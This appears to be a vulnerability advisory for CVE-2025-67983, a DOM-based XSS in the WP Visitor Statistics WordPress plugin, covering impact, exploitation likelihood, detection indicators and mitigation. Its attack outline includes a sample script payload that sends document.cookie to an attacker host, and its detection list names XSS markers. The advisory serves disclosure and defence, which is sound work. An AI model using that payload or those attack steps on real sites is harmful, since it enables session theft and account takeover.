CVE-2025-67983: 
WordPress vulnerability analysis and mitigation

CVE-2025-67983 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the WP Visitor Statistics (Real Time Traffic) WordPress plugin (slug: wp-stats-manager), developed by osama.esh. It affects all versions from n/a through 8.3 (inclusive). The vulnerability was published on December 16, 2025, and was reported via Patchstack. It carries a CVSS v3.1 base score of 6.5 (Medium), as assessed by CISA-ADP (Patchstack, NVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically manifesting as DOM-Based XSS. In DOM-Based XSS, attacker-controlled data is written to the DOM by client-side JavaScript without proper sanitization, causing the browser to execute malicious scripts without a server-side reflection. Exploitation requires the attacker to have low-level privileges (authenticated user) and requires user interaction — typically tricking a victim into visiting a crafted URL or page. The attack vector is network-based with low attack complexity (Patchstack, NVD).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim (including administrative actions if the victim is an admin), and defacement of page content visible to the victim. The CVSS scope is marked as "Changed," indicating the impact can extend beyond the vulnerable component to the victim's browser environment (NVD).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-67983 as of the available data. The EPSS score is approximately 0.029%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a low-privileged authenticated attacker and user interaction, which limits opportunistic mass exploitation (NVD, Patchstack).

1. Reconnaissance: Identify WordPress sites running the WP Visitor Statistics (Real Time Traffic) plugin version 8.3 or earlier using tools like WPScan or by inspecting plugin directories.
2. Obtain low-privileged access: Register or log in as a low-privileged user (e.g., subscriber) on the target WordPress site, as the vulnerability requires authenticated access.
3. Craft malicious payload: Construct a URL or page input containing a DOM-Based XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) targeting the vulnerable JavaScript sink within the plugin.
4. Deliver to victim: Trick a higher-privileged user (e.g., administrator) into visiting the crafted URL or interacting with the malicious content, triggering the DOM manipulation and script execution in their browser.
5. Achieve objective: Harvest session cookies, perform unauthorized administrative actions, or redirect the victim to a phishing page (Patchstack).

• Network: Outbound requests from victim browsers to unexpected external domains shortly after visiting WordPress admin or front-end pages; unusual GET/POST requests containing encoded JavaScript payloads in URL parameters associated with the wp-stats-manager plugin.
• Logs: WordPress access logs showing requests to plugin-related endpoints with suspicious query parameters containing script tags or JavaScript URI schemes (e.g., javascript:, <script>, onerror=).
• Browser/Client-Side: Unexpected redirects or pop-ups on WordPress pages; browser developer console errors related to DOM manipulation from the wp-stats-manager plugin scripts.
• File System: Unexpected modifications to plugin JavaScript files in wp-content/plugins/wp-stats-manager/ that could indicate secondary payload injection following initial XSS exploitation.

WordPress site administrators should update the WP Visitor Statistics (Real Time Traffic) plugin to a version beyond 8.3 if a patched release is available from the plugin author (osama.esh). If no patch is yet available, the recommended workaround is to deactivate and remove the plugin until a fix is released. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules (e.g., Wordfence, Patchstack) can help mitigate exploitation attempts. Restrict plugin installation and user registration to trusted individuals to reduce the authenticated attack surface (Patchstack).

The vulnerability was reported and disclosed by Patchstack, a WordPress security platform, which assigned and published the CVE on December 16, 2025. CISA-ADP subsequently contributed a CVSS v3.1 score in December 2025, which was later revised in January 2026. No notable independent researcher commentary, media coverage, or significant social media discussion has been identified for this vulnerability beyond standard vulnerability database aggregation (NVD, Patchstack).